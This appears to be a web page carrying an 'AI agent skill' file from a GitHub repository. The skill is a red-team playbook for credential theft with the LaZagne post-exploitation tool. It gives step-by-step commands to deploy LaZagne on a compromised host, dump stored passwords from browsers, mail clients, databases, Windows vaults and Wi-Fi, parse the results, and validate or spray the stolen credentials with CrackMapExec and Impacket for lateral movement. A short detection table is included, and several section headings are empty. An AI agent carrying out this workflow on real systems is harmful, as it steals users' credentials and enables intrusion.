Performing credential access with lazagne

From xalgord/xalgorix · View interactive version

Performing credential access with lazagne is an AI agent skill from the GitHub repository xalgord/xalgorix. Extract stored credentials from compromised endpoints using the LaZagne post-exploitation tool to recover passwords from browsers, databases, system vaults, and applications during authorized red team operations.

How to use this skill

Skill file

Performing Credential Access with LaZagne

Overview

LaZagne is an open-source post-exploitation tool designed to retrieve credentials stored on local systems. It supports Windows, Linux, and macOS, with the most extensive module library for Windows. LaZagne recovers passwords from browsers (Chrome, Firefox, Edge, Opera), email clients (Outlook, Thunderbird), databases (PostgreSQL, MySQL, SQLite), system stores (Windows Credential Manager, LSA secrets, DPAPI), Wi-Fi profiles, Git credentials, and dozens of other applications. The tool is categorized under MITRE ATT&CK T1555 (Credentials from Password Stores) and is listed as software S0349. Red teams use LaZagne after gaining initial access to harvest stored credentials that enable lateral movement and privilege escalation.

When to Use

Most Often Missed & How to Confirm

Prerequisites

Objectives

MITRE ATT&CK Mapping

Workflow

Phase 1: LaZagne Deployment

  1. Transfer LaZagne to the compromised host:

```powershell

# Pre-compiled executable (Windows)

# Transfer lazagne.exe via C2 channel or file upload

# Python version (requires Python on target)

git clone https://github.com/AlessandroZ/LaZagne.git

cd LaZagne

pip install -r requirements.txt

```

  1. Verify execution capability and privileges:

```powershell

# Check current user context

whoami /priv

# LaZagne works with standard user privileges for user-level stores

# SYSTEM/Admin privileges needed for DPAPI master keys, LSA secrets, SAM

```

Phase 2: Full Credential Extraction (Windows)

  1. Run LaZagne with all modules:

```powershell

# Extract all credentials

lazagne.exe all

# Export results to JSON

lazagne.exe all -oJ

# Export results to specific file

lazagne.exe all -oJ -output C:\Temp\creds

```

  1. Run specific modules for targeted extraction:

```powershell

# Browsers only (Chrome, Firefox, Edge, Opera, IE)

lazagne.exe browsers

# Windows credential stores

lazagne.exe windows

# Database credentials

lazagne.exe databases

# Email client credentials

lazagne.exe mails

# Wi-Fi passwords

lazagne.exe wifi

# Git credentials

lazagne.exe git

# System credentials (requires elevated privileges)

lazagne.exe sysadmin

```

Phase 3: Credential Extraction (Linux)

  1. Run LaZagne on Linux targets:

```bash

# Full extraction

python3 laZagne.py all

# Browser credentials

python3 laZagne.py browsers

# System credentials (SSH keys, shadow file with root)

python3 laZagne.py sysadmin

# Database credentials

python3 laZagne.py databases

# Git credentials

python3 laZagne.py git

```

Phase 4: Credential Analysis and Prioritization

  1. Parse JSON output for unique credentials:

```python

import json

with open("creds.json") as f:

results = json.load(f)

for module in results:

for entry in module.get("results", []):

print(f"Source: {entry.get('Category')}")

print(f" User: {entry.get('Login', 'N/A')}")

print(f" URL/Host: {entry.get('URL', entry.get('Host', 'N/A'))}")

```

  1. Prioritize credentials by value:

Phase 5: Credential Validation and Use

  1. Validate recovered domain credentials:

```bash

# Test domain credentials with CrackMapExec

crackmapexec smb 10.10.10.0/24 -u recovered_user -p 'recovered_pass'

# Test with Impacket

smbclient.py domain.local/user:'password'@10.10.10.1

```

  1. Cross-reference with BloodHound paths for high-value targets
  2. Use recovered credentials for lateral movement or privilege escalation

Tools and Resources

| Tool | Purpose | Platform |

|------|---------|----------|

| LaZagne | Multi-source credential extraction | Windows/Linux/macOS |

| Mimikatz | LSASS/DPAPI credential dumping | Windows |

| SharpChrome | Chrome credential extraction (.NET) | Windows |

| SharpDPAPI | DPAPI credential decryption | Windows |

| CrackMapExec | Credential validation and spraying | Linux |

| Impacket | Remote credential testing | Linux (Python) |

LaZagne Module Coverage (Windows)

| Category | Modules |

|----------|---------|

| Browsers | Chrome, Firefox, Edge, Opera, IE, Brave, Vivaldi |

| Email | Outlook, Thunderbird, Foxmail |

| Databases | PostgreSQL, MySQL, SQLiteDB, Robomongo |

| Sysadmin | PuTTY, WinSCP, FileZilla, OpenSSH, RDPManager |

| Windows | Credential Manager, Vault, DPAPI, Autologon |

| WiFi | Stored Wi-Fi passwords |

| Git | Git Credential Store, Git Credential Manager |

| SVN | TortoiseSVN |

| Chat | Pidgin, Skype |

Detection Signatures

| Indicator | Detection Method |

|-----------|-----------------|

| LaZagne.exe process execution | EDR process monitoring with hash-based detection |

| Access to Chrome Login Data SQLite DB | File access monitoring on browser credential stores |

| DPAPI CryptUnprotectData API calls | API hooking and ETW tracing |

| Access to Windows Credential Manager | Event 5379 (Credential Manager read) |

| Mass credential store enumeration | Behavioral analysis for sequential access patterns |

| Python interpreter accessing credential files | Script block logging and file access auditing |

Validation Criteria

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.